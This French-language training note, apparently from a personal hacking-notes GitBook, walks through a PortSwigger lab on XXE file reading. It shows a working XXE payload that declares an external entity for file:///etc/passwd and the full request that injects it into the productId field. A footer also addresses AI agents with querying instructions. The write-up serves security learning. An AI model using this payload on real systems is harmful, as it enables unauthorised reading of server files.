> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/xxe/xxe-file-read-via-external-entities.md).

# Lecture de fichier XXE via des entités externes

Notes sur la lecture de fichier XXE via des entités externes pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### Exploiter XXE en utilisant des entités externes pour récupérer des fichiers

Exploitez une vulnérabilité XXE en déclarant une entité externe pour récupérer le contenu d’un fichier (ici `/etc/passwd`) depuis le **Vérifier le stock** fonctionnalité qui analyse du XML et renvoie des valeurs inattendues.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cdf2ac927adbf2ad23fe8211e22fb75599dca971%2F%7BA852E010-EDA9-406D-94D2-4EB4E19FC64A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

La fonctionnalité envoie du XML comme ceci :

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>
  2
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b115f44b26b685ef0c5dcd6cc5ccd9326c52b5e%2F%7B990372C5-B25E-40B1-A8E8-20901B618736%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Si la valeur numérique de `<productId>` est remplacée par une chaîne, cette valeur est reflétée dans la réponse (utile pour l’exploitation) :

```xml
<productId>
test
</productId>
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a31e0b221e571f52fcfde6dbe76c4988073a9844%2F%7B4BD6982A-23CF-492F-B64C-4C8C6D5126BB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

1. Déclarez une entité externe dans une instruction DOCTYPE qui pointe vers le fichier système.

```xml
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
```

2. Appelez cette entité dans le `<productId>` champ renvoyé par l’application.

```
&myFile;
```

3. La réponse devrait alors contenir le contenu du fichier cible (`/etc/passwd`).

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
<stockCheck>
  <productId>
  &myFile;
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-684c387549e919a1c1022242a6f98a0cf706963c%2F%7BE4A1281C-2B82-4A61-BB86-60D39A3E7ED9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/xxe/xxe-file-read-via-external-entities.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
